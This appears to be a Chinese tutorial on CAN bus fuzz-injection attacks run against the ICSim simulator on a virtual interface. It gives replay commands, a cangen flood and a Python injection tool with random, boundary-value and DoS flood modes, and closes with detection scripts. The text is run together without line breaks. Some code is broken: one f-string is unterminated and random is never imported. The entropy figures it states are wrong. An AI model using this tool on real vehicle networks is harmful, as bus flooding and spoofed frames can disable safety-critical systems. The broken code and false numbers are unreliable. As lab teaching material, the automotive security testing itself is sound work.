汽车总线安全测试入门：基于CAN总线的模糊注入攻击实操

# 第一步：更新软件包列表sudo apt update# 第二步：安装CAN总线工具集（核心工具！必装）# can-utils 包含：cansend, candump, canplayer, cangen, cansniffer 等sudo apt install -y can-utils vcan-utils git build-essential# 第三步：验证安装成功candump --versioncansend --version

# 1. 加载 vcan 内核模块（告诉Linux启用虚拟CAN功能）sudo modprobe vcan# 2. 创建名为 vcan0 的虚拟CAN接口sudo ip link add dev vcan0 type vcan# 3. 激活 vcan0 接口（让vcan0开始工作）sudo ip link set vcan0 up# 4. 验证：查看vcan0的状态ip -details link show vcan0

# 5.【可选】让vcan0在系统重启后自动创建# 创建配置文件sudo bash -c 'cat > /etc/network/interfaces.d/vcan0 << EOFiface vcan0 inet manual    pre-up ip link add dev vcan0 type vcan    up ip link set vcan0 up    post-down ip link del vcan0EOF'# 6.【可选】查看当前所有网络接口（应该能看到vcan0）ip link show

# 1. 创建工作目录并进入mkdir -p ~/car-security && cd ~/car-security# 2. 安装ICSim编译所需的依赖sudo apt install -y libsdl2-dev libsdl2-image-dev# 3. 克隆ICSim项目源码git clone https://github.com/zombieCraig/ICSim.git# 4. 进入目录并编译cd ICSimmake clean && make# 5. 验证编译产物（应该看到 icsim 和 controls 两个可执行文件）ls -lh icsim controls

# ===== 终端窗口1：启动汽车仪表盘模拟器 =====./icsim vcan0# 预期：弹出一个窗口，显示汽车仪表盘（速度表、转速表、车门指示灯等）# 注意：这个窗口不要关闭！# ===== 终端窗口2：打开另一个终端（Ctrl+Shift+T新建标签页）=====cd ~/car-security/ICSim./controls vcan0# 预期：在运行icsim的窗口中，仪表盘变为可操控状态# 用键盘方向键控制：↑加速 ↓刹车 ←转向 →转向

# 安装Wireshark（CAN帧抓包分析工具）sudo apt install -y wireshark# 安装时选择"允许非root用户抓包"# 启动Wireshark，选择vcan0接口开始抓包sudo wireshark -i vcan0 -k# 过滤器示例：只显示CAN ID为0x1A4的帧can.id == 0x1A4

# 监听vcan0上的所有CAN帧（按Ctrl+C停止）candump vcan0# 同时在另一个终端用controls操作ICSim（按方向键）

# 终端1：录制vcan0上的所有CAN帧到日志文件candump vcan0 -l traffic.log# 同时在另一个终端操作ICSsim（↑加速↓刹车），录制10-30秒# 操作完成后回到终端1按Ctrl+C停止录制# 查看录制文件内容cat traffic.log# 格式：(interface) (timestamp) (can_id)#(hex_data)# 终端2：重放录制的所有CAN帧canplayer -I traffic.log# 效果：ICSim仪表盘完全重复刚才的加速/刹车动作！

# cangen：can-utils自带的CAN帧生成/模糊工具# 向vcan0发送10000帧随机CAN帧，间隔5毫秒cangen vcan0 -g 5 -i 10000 -I R -L 8 -v# 参数说明：# -g 5   : 每帧间隔5毫秒（数值越小注入越密集）# -i N   : 总共发送N帧# -I R   : CAN ID随机生成（R=Random）# -L 8   : 数据长度固定8字节# -v     : verbose模式，显示每帧内容# 另一个终端同时观察ICSim仪表盘# 应该能看到：仪表指针抖动、跳变、归零等异常现象

#!/usr/bin/env python3"""can_fuzzy_inject.pyCAN总线模糊注入工具支持三种攻击模式：随机模糊、边界值模糊、DoS泛洪"""import os, time, random, argparsedef parse_args():    parser = argparse.ArgumentParser(        description='CAN总线模糊注入工具 v1.0',        formatter_class=argparse.RawDescriptionHelpFormatter,        epilog="""示例用法:  随机模糊注入:   python3 can_fuzzy_inject.py vcan0 -n 5000  边界值模糊:     python3 can_fuzzy_inject.py vcan0 -n 2000 -m boundary -t 0x1A4  DoS泛洪攻击:    python3 can_fuzzy_inject.py vcan0 -n 10000 -m flood        """    )    parser.add_argument('interface', help='CAN接口名，如vcan0')    parser.add_argument('-n', '--count', type=int, default=1000,                        help='注入帧数量（默认1000）')    parser.add_argument('-d', '--delay', type=float, default=0.01,                        help='帧间隔秒数（默认0.01）')    parser.add_argument('-t', '--target-id', type=str, default=None,                        help='目标CAN ID，如0x1A4（None则随机）')    parser.add_argument('-m', '--mode',                        choices=['random', 'boundary', 'flood'],                        default='random',                        help='模糊模式')    return parser.parse_args()def generate_fuzzy_data(mode='random'):    """生成不同类型的模糊数据"""    if mode == 'random':        return bytes([random.randint(0, 255) for _ in range(8)])    elif mode == 'boundary':        patterns = [            bytes([0xFF] * 8),       # 全0xFF（边界值）            bytes([0x00] * 8),       # 全0x00（边界值）            bytes([0xAA] * 8),       # 0xAA（二进制10101010）            bytes([0x55] * 8),       # 0x55（二进制01010101）            bytes([random.randint(0, 255) for _ in range(8)]), # 纯随机        ]        return random.choice(patterns)    else:  # flood模式        return bytes([0xFF] * 8)def flood_attack(iface, can_id, duration):    """DoS泛洪：高频高优帧占满总线带宽"""    print(f'[!] DoS泛洪攻击: 接口={iface}, ID=0x{can_id:03X}, 时长={duration}s')    end_time = time.time() + duration    count = 0    while time.time() < end_time:        cmd = f'cansend {iface} 0x{can_id:03X}#{"FF"*8}'        os.system(cmd + ' 2>/dev/null')        count += 1    print(f'[✓] 泛洪完成，共发送 {count} 帧')def main():    args = parse_args()    target_id = (int(args.target_id, 16) if args.target_id                  else random.randint(0x000, 0x7FF))    print('=' * 55)    print(f'[*] CAN模糊注入工具')    print(f'[*] 接口: {args.interface}  |  帧数: {args.count}  |  模式: {args.mode}')    print(f'[*] 目标ID: 0x{target_id:03X}')    print('=' * 55)    if args.mode == 'flood':        flood_attack(args.interface, target_id, duration=args.count * args.delay)        return    for i in range(args.count):        data = generate_fuzzy_data(args.mode)        data_str = ''.join([f'{b:02X}' for b in data])        cmd = f'cansend {args.interface} 0x{target_id:03X}#{data_str}'        os.system(cmd + ' 2>/dev/null')        if i > 0 and i % 200 == 0:            print(f'[*] 进度: {i}/{args.count} 帧已注入')        time.sleep(args.delay)    print(f'[✓] 模糊注入完成！共注入 {args.count} 帧')if __name__ == '__main__':    main()

# 使用示例（先给执行权限）：chmod +x can_fuzzy_inject.py# 【随机模糊】对全部ID随机注入5000帧，观察ICSim全局反应./can_fuzzy_inject.py vcan0 -n 5000 -d 0.005 -m random# 【精准边界值模糊】专门针对速度信号ID 0x1A4发送边界值./can_fuzzy_inject.py vcan0 -n 2000 -m boundary -t 0x1A4# 【DoS泛洪】用最高优先级ID=0x000泛洪总线./can_fuzzy_inject.py vcan0 -n 10000 -d 0.001 -m flood

# 方法1：用candump统计每秒帧数（简单直观）watch -n 1 'candump vcan0 2>/dev/null | wc -l'# 正常情况：每秒几十到几百帧# 模糊攻击时：可能瞬间达到数千帧/秒# 方法2：用Candump日志分析总线负载率# 首先录制一段时间的日志candump -l vcan0 30sec.log &  # 录制30秒sleep 30# 分析每秒帧数分布cat 30sec.log | awk '{print substr($2,2,8)}' | cut -d. -f1 | sort | uniq -c

#!/usr/bin/env python3"""can_id_monitor.py - CAN ID频率监控与异常检测"""from collections import defaultdictimport subprocess, time, sysdef monitor_can_ids(iface='vcan0', duration=10, interval=1):    """监控CAN ID发送频率，超过阈值10倍则告警"""    id_counter = defaultdict(int)    print(f'[*] 监控 {iface}，持续 {duration} 秒...)    start = time.time()    while time.time() - start < duration:        try:            output = subprocess.check_output(                ['candump', iface], timeout=interval,                stderr=subprocess.DEVNULL            ).decode()            for line in output.split('\n'):                parts = line.split()                if len(parts) >= 3 and 'vcan' in parts[0]:                    id_counter[parts[2]] += 1        except subprocess.TimeoutExpired:            pass    if not id_counter:        print('[✗] 未检测到任何CAN帧'); return    avg = sum(id_counter.values()) / len(id_counter)    sorted_ids = sorted(id_counter.items(), key=lambda x: x[1], reverse=True)    print('\n[CAN ID频率统计 - 前10名]')    for can_id, cnt in sorted_ids[:10]:        bar = '█' * int(cnt / max(avg, 1) * 3)        alert = '⚠️ 异常!' if cnt > avg * 10 else ''        print(f'  ID:{can_id:>8}  次数:{cnt:>6}  {bar}  {alert}')    anomalies = [(i, c) for i, c in sorted_ids if c > avg * 10]    if anomalies:        print('\n[!] 检测到异常高频ID（超过平均值10倍）:')        for can_id, cnt in anomalies:            print(f'    ID: {can_id:>8}  次数: {cnt:>6}  (阈值: {avg:.1f})')    else:        print('\n[✓] 未检测到异常高频ID')if __name__ == '__main__':    monitor_can_ids(sys.argv[1] if len(sys.argv) > 1 else 'vcan0')

from math import log2def entropy(data: bytes) -> float:    """计算字节序列的信息熵（0=完全有序，8=完全随机）"""    freq = [data.count(bytes([b])) / len(data) for b in range(256)]    return -sum(f * log2(f) if f > 0 else 0 for f in freq)# 正常速度帧数据：熵值约3-5（部分字节有业务含义）normal = bytes([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x13])print(f'正常帧熵值: {entropy(normal):.2f}')   # ≈ 3.0# 模糊注入全0xFF帧：熵值低（只有一个值）flood = bytes([0xFF] * 8)print(f'DoS泛洪帧熵值: {entropy(flood):.2f}')  # ≈ 0# 随机模糊帧：熵值高（接近均匀分布）random_data = bytes([int(random.random() * 256) for _ in range(8)])print(f'随机模糊帧熵值: {entropy(random_data):.2f}')  # ≈ 7.9